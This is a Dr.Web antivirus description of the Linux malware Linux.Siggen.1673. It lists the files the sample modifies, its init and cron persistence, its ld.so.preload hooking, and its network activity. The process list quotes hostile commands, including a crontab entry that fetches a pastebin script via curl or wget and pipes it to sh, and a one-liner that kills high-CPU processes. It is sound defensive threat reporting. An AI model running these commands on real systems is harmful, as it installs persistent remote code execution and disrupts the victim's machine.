Linux.Siggen.1673
Added to the Dr.Web virus database:
2019-05-09
Virus description added:
2019-05-09
Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /etc/init.d/netdns
- /etc/init.d/.depend.boot
- /etc/init.d/.depend.start
- /etc/init.d/.depend.stop
- /var/spool/cron/crontabs/root
- /etc/cron.d/root
Creates or modifies the following symlinks:
- /etc/rc0.d/K01netdns
- /etc/rc1.d/K01netdns
- /etc/rc2.d/S01netdns
- /etc/rc3.d/S01netdns
- /etc/rc4.d/S01netdns
- /etc/rc5.d/S01netdns
- /etc/rc6.d/K01netdns
Malicious functions:
Launches itself as a daemon
Compiles a program from source codes:
- gcc /usr/local/lib/libboost_timed.c -Wall -shared -fPIC -ldl -o /usr/local/lib/libboost_timed.so
Manages services:
- systemctl enable netdns
- /usr/sbin/update-rc.d netdns defaults
- systemctl daemon-reload
- /usr/sbin/update-rc.d netdns enable
Launches processes:
- <SAMPLE_FULL_PATH> [edac-poller]
- <SAMPLE_FULL_PATH> [kpsmoused]
- /bin/bash -c chattr -i /usr/lib/systemd/system/netdns.service
- chattr -i /usr/lib/systemd/system/netdns.service
- /bin/bash -c chkconfig --add netdns
- /bin/bash -c systemctl enable netdns
- /sbin/insserv netdns
- /bin/bash -c chattr -i /usr/local/bin/kerberods
- chattr -i /usr/local/bin/kerberods
- /bin/bash -c chattr -i /usr/libexec/tmp/kerberods
- chattr -i /usr/libexec/tmp/kerberods
- /bin/bash -c chattr -i /usr/bin/kerberods
- chattr -i /usr/bin/kerberods
- /bin/bash -c chattr -i /tmp/kerberods
- chattr -i /tmp/kerberods
- /bin/bash -c chattr -i /etc/ld.so.preload
- chattr -i /etc/ld.so.preload
- /bin/bash -c chattr -i /usr/local/lib/libboost_timed.so
- chattr -i /usr/local/lib/libboost_timed.so
- /bin/bash -c chattr -i /usr/local/lib/libboost_timed.c
- chattr -i /usr/local/lib/libboost_timed.c
- /bin/bash -c gcc /usr/local/lib/libboost_timed.c -Wall -shared -fPIC -ldl -o /usr/local/lib/libboost_timed.so
- /bin/bash -c echo \"*/10 * * * * (curl -fsSL https://pastebin.com/raw/LD1QaXpQ||wget -q -O- https://pastebin.com/raw/LD1QaXpQ)|sh\" | crontab -
- crontab -
- /bin/bash -c chattr -i /tmp/migrationds
- chattr -i /tmp/migrationds
- /bin/bash -c ps aux|grep -v grep|grep -v 'migrationds'|awk '{if($3>=80.0) print $2}'|xargs kill -9
- grep -v grep
- ps aux
- grep -v migrationds
- xargs kill -9
- awk {if($3>=80.0) print $2}
- kill -9
- /tmp/migrationds
Performs operations with the file system:
Modifies file access rights:
- /usr/local/lib/libboost_timed.c
- /usr/local/lib/libboost_timed.so
- /etc/ld.so.preload
- /etc/hosts
- /var/spool/cron/crontabs/tmp.2mJPwH
- /etc/cron.d/root
- /var/spool/cron/root
- /var/spool/cron/crontabs/root
Creates or modifies files:
- /tmp/.XIMunix
- /usr/sbin/kerberods
- /usr/lib/systemd/system/netdns.service
- /usr/local/lib/libboost_timed.c
- /tmp/ccSqQjoa.s
- /tmp/ccn9LdsQ.o
- /tmp/ccX2XtMx.res
- /tmp/ccJcUBcB.c
- /tmp/ccRg1eOi.o
- /tmp/ccARC7p0.ld
- /tmp/ccmf6d2H.le
- /usr/local/lib/libboost_timed.so
- /etc/ld.so.preload
- /etc/hosts
- /var/spool/cron/crontabs/tmp.2mJPwH
- /var/spool/cron/root
- /tmp/tmpf03ve97
- /tmp/tmpf03ve97 (deleted)
- /tmp/migrationds
- /tmp/tmpfLMRpoE
- /tmp/tmpfLMRpoE (deleted)
Deletes files:
- /usr/local/bin/kerberods
- /usr/libexec/tmp/kerberods
- /usr/bin/kerberods
- /tmp/kerberods
- /etc/ld.so.preload
- /usr/local/lib/libboost_timed.so
- /usr/local/lib/libboost_timed.c
- /tmp/ccARC7p0.ld
- /tmp/ccmf6d2H.le
- /tmp/ccJcUBcB.c
- /tmp/ccRg1eOi.o
- /tmp/ccX2XtMx.res
- /tmp/ccn9LdsQ.o
- /tmp/ccSqQjoa.s
- /tmp/migrationds
- /tmp/tmpf03ve97
- /tmp/tmpfLMRpoE
Network activity:
Establishes connection:
- <LOCAL_DNS_SERVER>
- 10#.#0.208.21:9
- 10#.#0.209.21:9
- [2######00:10::6814:d015]:9
- [2######00:10::6814:d115]:9
- 10#.##.208.21:443
- 10#.##.209.21:443
- 10#.###.53.213:51640
DNS ASK:
- pa###bin.com
- sy###mten.org
Sends data to the following servers:
- 10#.##.208.21:443
- 10#.##.209.21:443
- 10#.###.53.213:51640
Receives data from the following servers:
- 10#.##.208.21:443
- 10#.##.209.21:443
- 10#.###.53.213:51640
Other:
Collects CPU information
Collects RAM information
Collects information about network activity
Curing recommendations
Linux
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